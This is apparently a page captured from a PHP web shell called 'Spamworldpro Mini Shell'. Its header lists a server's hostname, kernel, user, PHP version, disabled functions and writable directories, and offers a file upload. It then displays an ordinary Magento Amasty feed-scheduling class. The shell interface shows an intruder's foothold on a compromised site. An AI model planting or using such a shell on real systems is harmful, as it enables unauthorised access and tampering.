Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/feed/Setup/Operation/MigrateFeedSchedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/feed/Setup/Operation/MigrateFeedSchedule/CollectFeedScheduleData.php
<?php

declare(strict_types=1);

/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Product Feed for Magento 2
 */

namespace Amasty\Feed\Setup\Operation\MigrateFeedSchedule;

use Amasty\Feed\Api\Data\FeedInterface;
use Amasty\Feed\Api\Data\ScheduleInterface;
use Amasty\Feed\Model\CronProvider;
use Amasty\Feed\Model\ResourceModel\Feed\Collection;
use Amasty\Feed\Model\ResourceModel\Feed\CollectionFactory;

class CollectFeedScheduleData
{
    /**
     * @var CollectionFactory
     */
    private $feedCollectionFactory;

    /**
     * @var ScheduleRegistry
     */
    private $scheduleRegistry;

    public function __construct(
        CollectionFactory $feedCollectionFactory,
        ScheduleRegistry $scheduleRegistry
    ) {
        $this->feedCollectionFactory = $feedCollectionFactory;
        $this->scheduleRegistry = $scheduleRegistry;
    }

    public function execute()
    {
        /** @var Collection $feedCollection */
        $feedCollection = $this->feedCollectionFactory->create();
        $feedCollection->addFieldToFilter('is_template', 0);

        $this->collectScheduleData($feedCollection->getData());
    }

    private function collectScheduleData(array $feeds)
    {
        $scheduleData = [];

        foreach ($feeds as $feed) {
            if ($feed['cron_day'] != CronProvider::EVERY_DAY) {
                $scheduleData[] = $this->createScheduleData($feed, $feed['cron_day']);
            } else {
                for ($i = 0; $i < CronProvider::EVERY_DAY; $i++) {
                    $scheduleData[] = $this->createScheduleData($feed, $i);
                }
            }
        }

        $this->scheduleRegistry->register(ScheduleRegistry::SCHEDULE_DATA, $scheduleData);
    }

    private function createScheduleData(array $feed, $cronDay): array
    {
        return [
            ScheduleInterface::CRON_DAY => $cronDay,
            ScheduleInterface::CRON_TIME => $feed['cron_time'],
            ScheduleInterface::FEED_ID => $feed[FeedInterface::ENTITY_ID]
        ];
    }
}

Spamworldpro Mini